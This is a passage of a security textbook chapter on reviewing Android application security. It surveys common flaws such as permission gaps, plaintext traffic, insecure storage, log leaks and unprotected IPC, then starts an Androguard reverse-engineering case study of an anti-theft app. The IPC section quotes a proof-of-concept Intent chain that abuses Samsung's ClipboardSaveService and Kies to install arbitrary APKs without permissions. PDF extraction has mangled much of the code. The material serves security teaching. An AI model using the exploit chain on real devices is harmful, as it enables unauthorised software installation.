83 c04.indd 01:15:7:PM 02/24/2014 Page 83 Application security has been a hot-button topic since even before Android existed. During the onset of the web application craze developers f ocked to quickly develop applications overlooking basic security practices or using frameworks without adequate security controls. With the advent of mobile applications that very same cycle is repeating. This chapter begins by discuss- ing some common security issues in Android applications. It concludes with two case studies demonstrating discovery and exploitation of application f aws using common tools. Common Issues With traditional application security there are numerous issues that crop up repeatedly in security assessment and vulnerability reports. Types of issues range from sensitive information leaks to critical code or command execution vulnerabilities. Android applications aren’t immune to these f aws although the vectors to reach those f aws may differ from traditional applications. This section covers some of the security issues typically found during Android app security testing engagements and public research. This is certainly not an exhaustive list. As secure app development practices become more common- place and Android’s own application programming interfaces APIs evolve CHAPTER 4 Reviewing Application Security

slide 116:

84 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 84 it is likely that other f aws—perhaps even new classes of issues—will come to the forefront. App Permission Issues Given the granularity of the Android permission model there is an opportunity for developers to request more permissions for their app than may be required. This behavior may be due in part to inconsistencies in permission enforcement and documentation. Although the developer reference docs describe most of the permission requirements for given classes and methods they’re not 100 percent complete or 100 percent accurate. Research teams have attempted to identify some of these inconsistencies in various ways. For example in 2012 researchers Andrew Reiter and Zach Lanier attempted to map out the permission require- ments for the Android API available in Android Open Source Project AOSP. This led to some interesting conclusions about these gaps. Among some of the f ndings in this mapping effort they discovered incon- sistencies between documentation and implementation for some methods in the WiFiManager class. For example the developer documentation does not mention permission requirements for the startScan method. Figure 4-1 shows a screenshot of the Android development documentation of this method. Figure 4-1: Documentation for startScan This differs from the actual source code for this method in Android 4.2 which indicates a call to enforceCallingOrSelfPermission which checks to see if the caller bears the ACCESS_WIFI_STATE permission by way of enforceChangePermission: public void startScanboolean forceActive enforceChangePermission mWifiStateMachine.startScanforceActive noteScanStart ... private void enforceChangePermission mContext.enforceCallingOrSelfPermissionandroid.Manifest. permission.CHANGE_WIFI_STATE "WifiService"

slide 117:

Chapter 4 ■ Reviewing Application Security 85 c04.indd 01:15:7:PM 02/24/2014 Page 85 Another example is the getNeighboringCellInfo method in the TelephonyManager class whose documentation specif es a required permis- sion of ACCESS_COARSE_UPDATES. Figure 4-2 shows a screenshot of the Android development documentation for this method. Figure 4-2: Documentation for getNeighboringCellInfo However if you look through the source code of the PhoneInterfaceManager class in Android 4.2 which implements the Telephony interface you see the getNeighboringCellInfo method actually checks for the presence of the ACCESS_ FINE_LOCATION or ACCESS_COARSE_LOCATION permissions—neither of which are the nonexistent invalid permission specif ed in the documentation: public ListNeighboringCellInfo getNeighboringCellInfo try mApp.enforceCallingOrSelfPermission android.Manifest.permission.ACCESS_FINE_LOCATION null catch SecurityException e // If we have ACCESS_FINE_LOCATION permission skip the check // for ACCESS_COARSE_LOCATION // A failure should throw the SecurityException from // ACCESS_COARSE_LOCATION since this is the weaker precondition mApp.enforceCallingOrSelfPermission android.Manifest.permission.ACCESS_COARSE_LOCATION null These kinds of oversights while perhaps seemingly innocuous often lead to bad practices on the part of developers namely undergranting or worse overgrant- ing of permissions. In the case of undergranting it’s often a reliability or func- tionality issue as an unhandled SecurityException leads to the app crashing. As for overgranting it’s more a security issue imagine a buggy overprivileged app exploited by a malicious app effectively leading to privilege escalation. For more information on the permission mapping research see www.slideshare.net/quineslideshare/mapping-and-evolution-of-android- permissions. When analyzing Android applications for excessive permissions it’s important to compare what permissions are requested to what the application’s purpose really is. Certain permissions such as CAMERA and SEND_SMS might be excessive for a third-party app. For these the desired functionality can be achieved by deferring to the Camera or Messaging applications and letting them handle

slide 118:

86 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 86 the task with the added safety of user intervention. The “Mobile Security App” case study later in the chapter demonstrates how to identify where in the application’s components those permissions are actually exercised. Insecure Transmission of Sensitive Data Because it receives constant scrutiny the overall idea of transport security for example SSL TLS and so on is generally well understood. Unfortunately this doesn’t always apply in the mobile application world. Perhaps due to a lack of understanding about how to properly implement SSL or TLS or just the incorrect notion that “if it’s over the carrier’s network it’s safe” mobile app developers sometimes fail to protect sensitive data in transit. This issue tends to manifest in one or more of the following ways: ■ Weak encryption or lack of encryption ■ Strong encryption but lack of regard for security warnings or certif cate validation errors ■ Use of plain text after failures ■ Inconsistent use of transport security per network type for example cell versus Wi-Fi Discovering insecure transmission issues can be as simple as capturing traff c sent from the target device. Details on building a man-in-the-middle rig are out- side the scope of this book but numerous tools and tutorials exist for facilitating this task. In a pinch the Android emulator supports both proxying of traff c as well as dumping traff c to a PCAP-format packet trace. You can achieve this by passing the -http-proxy or -tcpdump options respectively. A prominent public example of insecure data transmission was in the imple- mentation of Google ClientLogin authentication protocol in certain components of Android 2.1 through 2.3.4. This protocol allows for applications to request an authentication token for the user’s Google account which can then be reused for subsequent transactions against a given service’s API. In 2011 University of Ulm researchers found that the Calendar and Contacts apps on Android 2.1 through 2.3.3 and the Picasa Sync service on Android 2.3.4 sent the Google ClientLogin authentication token over plaintext HTTP. After an attacker obtained this token it could be reused to impersonate the user. As numerous tools and techniques exist for conducting man-in-the-middle attacks on Wi-Fi networks interception of this token would be easy—and would spell bad news for a user on a hostile or untrusted Wi-Fi network. For more information on the University of Ulm’s Google ClientLogin f ndings see www.uni-ulm.de/en/in/mi/staff/koenings/catching-authtokens.html.

slide 119:

Chapter 4 ■ Reviewing Application Security 87 c04.indd 01:15:7:PM 02/24/2014 Page 87 Insecure Data Storage Android offers multiple standard facilities for data storage—namely Shared Preferences SQLite databases and plain old f les. Furthermore each of these storage types can be created and accessed in various ways including managed and native code or through structured interfaces like Content Providers. The most common mistakes include plaintext storage of sensitive data unprotected Content Providers discussed later and insecure f le permissions. One cohesive example of both plaintext storage and insecure f le permissions is the Skype client for Android which was found to have these problems in April 2011. Reported by Justin Case jcase via http://AndroidPolice.com the Skype app created numerous f les such as SQLite databases and XML f les with world-readable and world-writable permissions. Furthermore the content was unencrypted and included conf guration data and IM logs. The following out- put shows jcase’s own Skype app data directory as well as partial f le contents: ls -l /data/data/com.skype.merlin_mecha/files/jcaseap -rw-rw-rw- app_152 app_152 331776 2011-04-13 00:08 main.db -rw-rw-rw- app_152 app_152 119528 2011-04-13 00:08 main.db-journal -rw-rw-rw- app_152 app_152 40960 2011-04-11 14:05 keyval.db -rw-rw-rw- app_152 app_152 3522 2011-04-12 23:39 config.xml drwxrwxrwx app_152 app_152 2011-04-11 14:05 voicemail -rw-rw-rw- app_152 app_152 0 2011-04-11 14:05 config.lck -rw-rw-rw- app_152 app_152 61440 2011-04-13 00:08 bistats.db drwxrwxrwx app_152 app_152 2011-04-12 21:49 chatsync -rw-rw-rw- app_152 app_152 12824 2011-04-11 14:05 keyval.db-journal -rw-rw-rw- app_152 app_152 33344 2011-04-13 00:08 bistats.db-journal grep Default /data/data/com.skype.merlin_mecha/files/shared.xml Defaultjcaseap/Default The plaintext storage aspect aside the insecure f le permissions were the result of a previously less-well publicized issue with native f le creation on Android. SQLite databases Shared Preferences f les and plain f les created through Java interfaces all used a f le mode of 0660. This rendered the f le permissions read/ write for the owning user ID and group ID. However when any f les were cre- ated through native code or external commands the app process inherited the umask of its parent process Zygote—a umask of 000 which means world read/ write. The Skype client used native code for much of its functionality including creating and interacting with these f les. NOTE As of Android 4.1 the umask for Zygote has been set to a more secure value of 077. More information about this change is presented in Chapter 12.

slide 120:

88 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 88 For more information on jcase’s discovery in Skype see www.androidpolice .com/2011/04/14/exclusive-vulnerability-in-skype-for-android-is -exposing-your-name-phone-number-chat-logs-and-a-lot-more/. Information Leakage Through Logs Android’s log facility is a great source of information leaks. Through develop- ers’ gratuitous use of log methods often for debugging purposes applications may log anything from general diagnostic messages to login credentials or other sensitive data. Even system processes such as the ActivityManager log fairly verbose messages about Activity invocation. Applications bearing the READ_LOGS permission can obtain access to these log messages by way of the logcat command. NOTE The READ_LOGS permission is no longer available to third-party applications as of Android 4.1. However for older versions and rooted devices third-party access to this permission and to the logcat command is still possible. As an example of ActivityManager’s logging verbosity consider the follow- ing log snippet: I/ActivityManager13738: START actandroid.intent.action.VIEW dathttp://www.wiley.com/ cmpcom.google.android.browser/com.android.browser.BrowserActivity has extras u0 from pid 11352 I/ActivityManager13738: Start proc com.google.android.browser for activity com.google.android.browser/com.android.browser.BrowserActivity: pid11433 uid10017 gids3003 1015 1028 You see the stock browser being invoked perhaps by way of the user tapping a link in an e-mail or SMS message. The details of the Intent being passed are clearly visible and include the URL http://www.wiley.com/ the user is visit- ing. Although this trivial example may not seem like a major issue under these circumstances it presents an opportunity to garner some information about a user’s web-browsing activity. A more cogent example of excessive logging was found in the Firefox browser for Android. Neil Bergman reported this issue on the Mozilla bug tracker in December 2012. Firefox on Android logged browsing activity including URLs that were visited. In some cases this included session identif ers as Neil pointed out in his bug entry and associated output from the logcat command: I/GeckoBrowserApp17773: Favicon successfully loaded for URL https://mobile.walmart.com/m/pharmacyjsessionid83CB330691854B071CD172D41DC2C3 AB I/GeckoBrowserApp17773: Favicon is for current URL https://mobile.walmart.com/m/pharmacyjsessionid83CB330691854B071CD172D41DC2C3

slide 121:

Chapter 4 ■ Reviewing Application Security 89 c04.indd 01:15:7:PM 02/24/2014 Page 89 AB E/GeckoConsole17773: JavaScript Warning: "Error in parsing value for background. Declaration dropped." file: "https://mobile.walmart.com/m/pharmacyjsessionid83CB330691854B071CD172D41DC2C 3ABwicket:bookmarkablePage:com.wm.mobile.web.rx.privacy.PrivacyPractices" line: 0 In this case a malicious application with log access could potentially harvest these session identif ers and hijack the victim’s session on the remote web appli- cation. For more details on this issue see the Mozilla bug tracker at https:// bugzilla.mozilla.org/show_bug.cgiid825685. Unsecured IPC Endpoints The common interprocess communication IPC endpoints—Services Activities BroadcastReceivers and Content Providers—are often overlooked as poten- tial attack vectors. As both data sources and sinks interacting with them is highly dependent on their implementation and their abuse case dependent on their purpose. At its most basic level protection of these interfaces is typically achieved by way of app permissions either standard or custom. For example an application may def ne an IPC endpoint that should be accessible only by other components in that application or that should be accessible by other applications that request the required permission. In the event that an IPC endpoint is not properly secured or a malicious app requests—and is granted—the required permission there are specif c consider- ations for each type of endpoint. Content Providers expose access to structured data by design and therefore are vulnerable to a range of attacks such as injection or directory traversal. Activities as a user-facing component could potentially be used by a malicious app in a user interface UI–redressing attack. Broadcast Receivers are often used to handle implicit Intent messages or those with loose criteria such as a system-wide event. For instance the arrival of a new SMS message causes the Telephony subsystem to broadcast an implicit Intent with the SMS_RECEIVED action. Registered Broadcast Receivers with an intent-f lter matching this action receive this message. However the priority attribute of intent-f lters not unique just to Broadcast Receivers can determine the order in which an implicit Intent is delivered leading to potential hijacking or interception of these messages. NOTE Implicit Intents are those without a specifi c destination component whereas explicit Intents target a particular application and application component such as “com.wiley.exampleapp.SomeActivity”. Services as discussed in Chapter 2 facilitate background processing for an app. Similar to Broadcast Receivers and Activities interaction with Services is

slide 122:

90 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 90 accomplished using Intents. This includes actions such as starting the service stopping the service or binding to the service. A bound service may also expose an additional layer of application-specif c functionality to other applications. Since this functionality is custom a developer may be so bold as to expose a method that executes arbitrary commands. A good example of the potential effect of exploiting an unprotected IPC interface is Andre “sh4ka” Moulu’s discovery in the Samsung Kies application on the Galaxy S3. sh4ka found that Kies a highly privileged system application including having the INSTALL_PACKAGES permission had a BroadcastReceiver that restored application packages APKs from the /sdcard/restore directory. The following snippet is from sh4ka’s decompilation of Kies: public void onReceiveContext paramContext Intent paramIntent ... if paramIntent.getAction.toString.equals "com.intent.action.KIES_START_RESTORE_APK" kies_start.m_nKiesActionEvent 15 int i3 Log.w"KIES_START" "KIES_ACTION_EVENT_SZ_START_RESTORE_APK" byte arrayOfByte11 new byte6 byte arrayOfByte12 paramIntent.getByteArrayExtra"head" byte arrayOfByte13 paramIntent.getByteArrayExtra"body" byte arrayOfByte14 new bytearrayOfByte13.length int i4 arrayOfByte13.length System.arraycopyarrayOfByte13 0 arrayOfByte14 0 i4 StartKiesServiceparamContext arrayOfByte12 arrayOfByte14 return In the code you see the onReceive method accepting an Intent paramIntent. The call to getAction checks that the value of the action f eld of paramIntent is KIES_START_RESTORE_APK. If this is true the method extracts a few extra values head and body from paramIntent and then invokes StartKiesService. The call chain ultimately results in Kies iterating through /sdcard/restore installing each APK therein. In order to place his own APK in /sdcard/restore with no permissions sh4ka exploited another issue that yielded the WRITE_EXTERNAL_STORAGE privilege. In his write-up “From 0 perm app to INSTALL_PACKAGES” sh4ka targeted the ClipboardSaveService on the Samsung GS3. The following code snippet demonstrates this: Intent intentCreateTemp new Intent"com.android.clipboardsaveservice. CLIPBOARD_SAVE_SERVICE" intentCreateTemp.putExtra"copyPath" "/data/data/"+getPackageName+ "/files/avast.apk"

slide 123:

Chapter 4 ■ Reviewing Application Security 91 c04.indd 01:15:7:PM 02/24/2014 Page 91 intentCreateTemp.putExtra"pastePath" "/data/data/com.android.clipboardsaveservice/temp/" startServiceintentCreateTemp Here sh4ka’s code creates an Intent destined for com.android.clipboardsave- service.CLIPBOARD_SAVE_SERVICE passing in extras containing the source path of his package in the files directory of his proof-of-concept app’s datastore and the destination path of /sdcard/restore. Finally the call to startService sends this Intent off and ClipboardService effectively copies the APK to /sdcard. All of this happens without the proof-of-concept app holding the WRITE_EXTERNAL_STORAGE permission. In the coup de grâce the appropriate Intent is sent to Kies to gain arbitrary package installation: Intent intentStartRestore new Intent"com.intent.action.KIES_START_RESTORE_APK" intentStartRestore.putExtra"head" new String"cocacola".getBytes intentStartRestore.putExtra"body" new String"cocacola".getBytes sendBroadcastintentStartRestore For more information on sh4ka’s work check his blog post at http://sh4ka. fr/android/galaxys3/from_0perm_to_INSTALL_PACKAGES_on_galaxy_S3.html. Case Study: Mobile Security App This section walks through assessing a mobile security/anti-theft Android application. It introduces tools and techniques for static and dynamic analysis techniques and you see how to perform some basic reverse engineering. The goal is for you to better understand how to attack particular components in this application as well as uncover any interesting f aws that may assist in that endeavor. Profi ling In the Prof ling phase you gather some superf cial information about the tar- get application and get an idea of what you’re up against. Assuming you have little to no information about the application to begin with sometimes called the “zero-knowledge” or the “black box” approach it’s important to learn a bit about the developer the application’s dependencies and any other notable properties it may have. This will help in determining what techniques to employ in other phases and it may even reveal some issues on its own such as utilizing a known-vulnerable library or web service. First get an idea of the purpose of the application its developer and the development history or reviews. Suff ce it to say that apps with poor security

slide 124:

92 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 92 track records that are published by the same developer may share some issues. Figure 4-3 shows some basic information for a mobile device recovery / antitheft application on the Google Play web interface. Figure 4-3: Application description in Google Play When you examine this entry a bit more you gather that it requests quite a few permissions. This application if installed would be rather privileged as far as third-party apps go. By clicking the Permissions tab in the Play interface you can observe what permissions are being requested as shown in Figure 4-4. Based on the description and some of the listed permissions you can draw a few conclusions. For example the description mentions remote locking wiping and audio alerting which when combined with the READ_SMS permission could lead you to believe that SMS is used for out-of-band communications which is common among mobile antivirus apps. Make a note that for later because it means you might have some SMS receiver code to examine.

slide 125:

Chapter 4 ■ Reviewing Application Security 93 c04.indd 01:15:7:PM 02/24/2014 Page 93 Figure 4-4: Some of the permissions requested by the target app Static Analysis The static analysis phase involves analyzing code and data in the application and supporting components without directly executing the application. At the outset this involves identifying interesting strings such as hard-coded URIs credentials or keys. Following that you perform additional analyses to con- struct call graphs ascertain application logic and f ow and discover potential security issues. Although the Android SDK provides useful tools such as dexdump to disas- semble classes.dex you can f nd other bits of useful information in other f les in the APK. Most of these f les are in various formats such as binary XML and

slide 126:

94 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 94 might be diff cult to read with common tools like grep. Using apktool which can be found at https://code.google.com/p/android-apktool/ you can con- vert these resources into plaintext and also disassemble the Dalvik executable bytecode into an intermediate format known as smali a format which you’ll see more of later. Run apktool d with the APK f le as a parameter to decode the APK’s contents and place the f les in a directory named after the APK: apktool d ygib-1.apk I: Baksmaling... I: Loading resource table... ... I: Decoding values / XMLs... I: Done. I: Copying assets and libs... Now you can grep for interesting strings like URLs in this application which could help in understanding communications between this application and a web service. You also use grep to ignore any references to schemas.android .com a common XML namespace string: grep -Eir "https://" ygib-1 | grep -v "schemas.android.com" ygib-1/smali/com/yougetitback/androidapplication/settings/xml/ XmlOperator.smali: const-string v2 "http://cs1.ucc.ie/yx2/upload/upload.php" ygib-1/res/layout/main.xml: xmlns:ygib"http://www.ywlx.net/apk/res/ com.yougetitback.androidapplication.cpw.mobile" ygib-1/res/values/strings.xml: string name"mustenteremail"Please enter a previous email address if you already have an account on https://virgin.yougetitback.com or a new email address if you wish to have a new account to control this device./string ygib-1/res/values/strings.xml: string name"serverUrl" https://virgin.yougetitback.com/string ygib-1/res/values/strings.xml:Please create an account on https://virgin.yougetitback.com before activating this device"/string ygib-1/res/values/strings.xml: string name"showsalocation" http://virgin.yougetitback.com/showSALocationcellid/string ygib-1/res/values/strings.xml: string name"termsofuse" https://virgin.yougetitback.com/terms_of_use/string ygib-1/res/values/strings.xml: string name"eula" https://virgin.yougetitback.com/eula/string ygib-1/res/values/strings.xml: string name"privacy" https://virgin.yougetitback.com/privacy_policy/string ygib-1/res/values/strings.xml: string name"registration_succeed_text" Account Registration Successful you can now use the email address and password entered to log in to your personal vault on http://virgin.yougetitback.com/string

slide 127:

Chapter 4 ■ Reviewing Application Security 95 c04.indd 01:15:7:PM 02/24/2014 Page 95 ygib-1/res/values/strings.xml: string name"registrationerror5"ERROR:creating user account. Please go to http://virgin.yougetitback.com/forgot_password where you can reset your password alternatively enter a new email and password on this screen and we will create a new account for you. Thank You./string ygib-1/res/values/strings.xml: string name"registrationsuccessful" Congratulations you have sucessfully registered. You can now use this email and password provided to login to your personalised vault on http://virgin.yougetitback.com /string ygib-1/res/values/strings.xml: string name"link_accessvault" https://virgin.yougetitback.com/vault/string ygib-1/res/values/strings.xml: string name"text_help" Access your online vault or change your password at lta https://virgin.yougetitback.com/forgot_passwordlt/a/string Although apktool and common UNIX utilities help in a pinch you need something a bit more powerful. In this case call on the Python-based reverse engineering and analysis framework Androguard. Although Androguard includes utilities suited to specif c tasks this chapter focuses on the androlyze tool in interactive mode which gives an IPython shell. For starters just use the AnalyzeAPK method to create appropriate objects representing the APK and its resources the Dex code itself and also add an option to use the dad decompiler so you can convert back to Java pseudo-source: androlyze.py –s In 1: addx AnalyzeAPK"/home/ahh/ygib-1.apk"decompiler"dad" Next gather some additional cursory information about the application namely to conf rm what you saw while prof ling. This would include things such as which permissions the application uses activities the user will most likely interact with Services that the app runs and other Intent receivers. Check out permissions f rst by calling permissions: In 23: a.permissions Out23: android.permission.CAMERA android.permission.CALL_PHONE android.permission.PROCESS_OUTGOING_CALLS ... android.permission.RECEIVE_SMS android.permission.ACCESS_GPS android.permission.SEND_SMS android.permission.READ_SMS android.permission.WRITE_SMS ... These permissions are in line with what you saw when viewing this app in Google Play. You can go a step further with Androguard and f nd out which

slide 128:

96 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 96 classes and methods in the application actually use these permissions which might help you narrow your analysis to interesting components: In 28: show_Permissionsdx ACCESS_NETWORK_STATE : 1 Lcom/yougetitback/androidapplication/PingService-deviceOnlineZ 0x22 --- Landroid/net/ConnectivityManager- getAllNetworkInfoLandroid/net/NetworkInfo 1 Lcom/yougetitback/androidapplication/PingService-wifiAvailableZ 0x12 --- Landroid/net/ConnectivityManager- getActiveNetworkInfoLandroid/net/NetworkInfo ... SEND_SMS : 1 Lcom/yougetitback/androidapplication/ActivateScreen- sendActivationRequestMessageLandroid/content/Context Ljava/lang/StringV 0x2 --- Landroid/telephony/SmsManager- getDefaultLandroid/telephony/SmsManager 1 Lcom/yougetitback/androidapplication/ActivateScreen -sendActivationRequestMessageLandroid/content/Context ... INTERNET : 1 Lcom/yougetitback/androidapplication/ActivationAcknowledgeService- doPostLjava/lang/String Ljava/lang/StringZ 0xe --- Ljava/net/URL-openConnectionLjava/net/URLConnection 1 Lcom/yougetitback/androidapplication/ConfirmPinScreen-doPost Ljava/lang/String Ljava/lang/StringZ 0xe --- Ljava/net/URL-openConnectionLjava/net/URLConnection ... Although the output was verbose this trimmed-down snippet shows a few interesting methods such as the doPost method in the ConfirmPinScreen class which must open a socket at some point as it exercises android.permission .INTERNET. You can go ahead and disassemble this method to get a handle on what’s happening by calling show on the target method in androlyze: In 38: d.CLASS_Lcom_yougetitback_androidapplication_ConfirmPinScreen. METHOD_doPost.show Method Information Lcom/yougetitback/androidapplication/ConfirmPinScreen- doPostLjava/lang/String Ljava/lang/StringZ access_flagsprivate Params - local registers: v0...v10 - v11:java.lang.String - v12:java.lang.String - return:boolean doPost-BB0x0 : 0 00000000 const/4 v6 0 1 00000002 const/4 v5 1 doPost-BB0x4 doPost-BB0x4 : 2 00000004 new-instance v3 Ljava/net/URL

slide 129:

Chapter 4 ■ Reviewing Application Security 97 c04.indd 01:15:7:PM 02/24/2014 Page 97 3 00000008 invoke-direct v3 v11 Ljava/net/URL-init Ljava/lang/StringV 4 0000000e invoke-virtual v3 Ljava/net/URL- openConnection Ljava/net/URLConnection 5 00000014 move-result-object v4 6 00000016 check-cast v4 Ljava/net/HttpURLConnection 7 0000001a iput-object v4 v10 Lcom/yougetitback/ androidapplication/ConfirmPinScreen-con Ljava/net/HttpURLConnection 8 0000001e iget-object v4 v10 Lcom/yougetitback/ androidapplication/ConfirmPinScreen-con Ljava/net/HttpURLConnection 9 00000022 const-string v7 POST 10 00000026 invoke-virtual v4 v7 Ljava/net/HttpURLConnec- tion -setRequestMethodLjava/lang/StringV 11 0000002c iget-object v4 v10 Lcom/yougetitback/ androidapplication/ConfirmPinScreen-con Ljava/net/HttpURLConnection 12 00000030 const-string v7 Content-type 13 00000034 const-string v8 application/ x-www-form-urlencoded 14 00000038 invoke-virtual v4 v7 v8 Ljava/net/ HttpURLConnection-setRequestPropertyLjava/lang/String Ljava/lang/String V 15 0000003e iget-object v4 v10 Lcom/yougetitback/ androidapplication/ConfirmPinScreen-con Ljava/net/HttpURLConnection ... 31 00000084 const-string v7 User-Agent 32 00000088 const-string v8 Android Client ... 49 000000d4 iget-object v4 v10 Lcom/yougetitback/ androidapplication/ConfirmPinScreen-con Ljava/net/HttpURLConnection 50 000000d8 const/4 v7 1 51 000000da invoke-virtual v4 v7 Ljava/net/ HttpURLConnection -setDoInputZV 52 000000e0 iget-object v4 v10 Lcom/yougetitback/ androidapplication/ConfirmPinScreen-con Ljava/net/HttpURLConnection 53 000000e4 invoke-virtual v4 Ljava/net/HttpURLConnection -connectV First you see some basic information about how the Dalvik VM should handle allocation of objects for this method along with some identif ers for the method itself. In the actual disassembly that follows instantiation of objects such as java.net.HttpURLConnection and invocation of that object’s connect method conf rm the use of the INTERNET permission. You can get a more readable version of this method by decompiling it which returns output that effectively resembles Java source by calling source on that same target method: In 39: d.CLASS_Lcom_yougetitback_androidapplication_ConfirmPinScreen. METHOD_doPost.source private boolean doPostString p11 String p12

slide 130:

98 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 98 this.con new java.net.URLp11.openConnection this.con.setRequestMethod"POST" this.con.setRequestProperty"Content-type" "application/x-www-form-urlencoded" this.con.setRequestProperty"Content-Length" new StringBuilder.appendp12.length.toString this.con.setRequestProperty"Connection" "keep-alive" this.con.setRequestProperty"User-Agent" "Android Client" this.con.setRequestProperty"accept" "/" this.con.setRequestProperty"Http-version" "HTTP/1.1" this.con.setRequestProperty"Content-languages" "en-EN" this.con.setDoOutput1 this.con.setDoInput1 this.con.connect v2 this.con.getOutputStream v2.writep12.getBytes"UTF8" v2.flush android.util.Log.d"YGIB Test" new StringBuilder"con.getResponseCode— ".appendthis.con.getResponseCode.toString android.util.Log.d"YGIB Test" new StringBuilder "urlString--".appendp11.toString android.util.Log.d"YGIB Test" new StringBuilder"content--". appendp12.toString ... NOTE Note that decompilation isn’t perfect partly due to diff erences between the Dalvik Virtual Machine and the Java Virtual Machine. Representation of control and data fl ow in each aff ect the conversion from Dalvik bytecode to Java pseudo-source. You see calls to android.util.Log.d a method which writes a message to the logger with the debug priority. In this case the application appears to be logging details of the HTTP request which could be an interesting information leak. You’ll take a look at the log details in action a bit later. For now see what IPC endpoints may exist in this application starting with activities. For this call get_activities: In 87: a.get_activities Out87: com.yougetitback.androidapplication.ReportSplashScreen com.yougetitback.androidapplication.SecurityQuestionScreen com.yougetitback.androidapplication.SplashScreen com.yougetitback.androidapplication.MenuScreen ... com.yougetitback.androidapplication.settings.setting.Setting com.yougetitback.androidapplication.ModifyPinScreen com.yougetitback.androidapplication.ConfirmPinScreen

slide 131:

Chapter 4 ■ Reviewing Application Security 99 c04.indd 01:15:7:PM 02/24/2014 Page 99 com.yougetitback.androidapplication.EnterRegistrationCodeScreen ... In 88: a.get_main_activity Out88: ucom.yougetitback.androidapplication.ActivateSplashScreen Unsurprisingly this app has numerous activities including the ConfirmPinScreen you just analyzed. Next check Services by calling get_services: In 113: a.get_services Out113: com.yougetitback.androidapplication.DeleteSmsService com.yougetitback.androidapplication.FindLocationService com.yougetitback.androidapplication.PostLocationService ... com.yougetitback.androidapplication.LockAcknowledgeService com.yougetitback.androidapplication.ContactBackupService com.yougetitback.androidapplication.ContactRestoreService com.yougetitback.androidapplication.UnlockService com.yougetitback.androidapplication.PingService com.yougetitback.androidapplication.UnlockAcknowledgeService ... com.yougetitback.androidapplication.wipe.MyService ... Based on the naming convention of some of these Services for example UnlockService and wipe they will most likely receive and process commands from other application components when certain events are trigged. Next look at BroadcastReceivers in the app using get_receivers: In 115: a.get_receivers Out115: com.yougetitback.androidapplication.settings.main.EntranceMyAdmin com.yougetitback.androidapplication.MyStartupIntentReceiver com.yougetitback.androidapplication.SmsIntentReceiver com.yougetitback.androidapplication.IdleTimeout com.yougetitback.androidapplication.PingTimeout com.yougetitback.androidapplication.RestTimeout com.yougetitback.androidapplication.SplashTimeout com.yougetitback.androidapplication.EmergencyTimeout com.yougetitback.androidapplication.OutgoingCallReceiver com.yougetitback.androidapplication.IncomingCallReceiver com.yougetitback.androidapplication.IncomingCallReceiver com.yougetitback.androidapplication.NetworkStateChangedReceiver com.yougetitback.androidapplication.C2DMReceiver Sure enough you f nd a Broadcast Receiver that appears to be related to pro- cessing SMS messages likely for out-of-band communications such as locking

slide 132:

100 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 100 and wiping the device. Because the application requests the READ_SMS permis- sion and you see a curiously named Broadcast Receiver SmsIntentReceiver chances are good that the application’s manifest contains an Intent f lter for the SMS_RECEIVED broadcast. You can view the contents of AndroidManifest.xml in androlyze with just a couple of lines of Python: In 77: for e in x.getElementsByTagName"receiver": print e.toxml ....: ... receiver android:enabled"true" android:exported"true" android:name "com.yougetitback.androidapplication.SmsIntentReceiver" intent-filter android:priority"999" action android:name"android.provider.Telephony.SMS_RECEIVED" /action /intent-filter /receiver ... NOTE You can also dump the contents of AndroidManifest.xml with one com- mand using Androguard’s androaxml.py. Among others there’s a receiver XML element specifically for the com.yougetitback.androidapplication.SmsIntentReceiver class. This particu- lar receiver def nition includes an intent-filter XML element with an explicit android:priority element of 999 targeting the SMS_RECEIVED action from the android.provider.Telephony class. By specifying this priority attribute the application ensures that it will get the SMS_RECEIVED broadcast f rst and thus access to SMS messages before the default messaging application. Take a look at the methods available in SmsIntentReceiver by calling get_methods on that class. Use a quick Python for loop to iterate through each returned method calling show_info each time: In 178: for meth in d.CLASS_Lcom_yougetitback_androidapplication_ SmsIntentReceiver.get_methods: meth.show_info .....: Method Information Lcom/yougetitback/androidapplication/SmsIntentReceiver-initV access_flagspublic constructor Method Information Lcom/yougetitback/androidapplication/SmsIntentReceiver- foregroundUILandroid/content/ContextV access_flagsprivate Method Information Lcom/yougetitback/androidapplication/SmsIntentReceiver- getActionLjava/lang/StringLjava/lang/String access_flagsprivate Method Information Lcom/yougetitback/androidapplication/SmsIntentReceiver-

slide 133:

Chapter 4 ■ Reviewing Application Security 101 c04.indd 01:15:7:PM 02/24/2014 Page 101 getMessagesFromIntentLandroid/content/Intent Landroid/telephony/SmsMessage access_flagsprivate Lcom/yougetitback/androidapplication/SmsIntentReceiver- processBackupMsgLandroid/content/Context Ljava/util/VectorV access_flagsprivate Method Information Lcom/yougetitback/androidapplication/SmsIntentReceiver-onReceive Landroid/content/Context Landroid/content/IntentV access_flagspublic ... For Broadcast Receivers the onReceive method serves as an entry point so you can look for cross-references or xrefs for short from that method to get an idea of control f ow. First create the xrefs with d.create_xref and then call show_xref on the object representing the onReceive method: In 206: d.create_xref In 207: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver. METHOD_onReceive.show_xref XREF T: Lcom/yougetitback/androidapplication/SmsIntentReceiver isValidMessage Ljava/lang/String Landroid/content/ContextZ 6c T: Lcom/yougetitback/androidapplication/SmsIntentReceiver processContent Landroid/content/Context Ljava/lang/StringV 78 T: Lcom/yougetitback/androidapplication/SmsIntentReceiver triggerAppLaunch Landroid/content/Context Landroid/telephony/SmsMessage V 9a T: Lcom/yougetitback/androidapplication/SmsIntentReceiver getMessagesFromIntent Landroid/content/Intent Landroid/telephony/SmsMessage 2a T: Lcom/yougetitback/androidapplication/SmsIntentReceiver isPinLock Ljava/lang/String Landroid/content/ContextZ 8a You see that onReceive calls a few other methods including ones that appear to validate the SMS message and parse content. Decompile and investigate a few of these starting with getMessageFromIntent: In 213: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver. METHOD_getMessagesFromIntent.source private android.telephony.SmsMessage getMessagesFromIntentandroid.content.Intent p9 v6 0 v0 p9.getExtras if 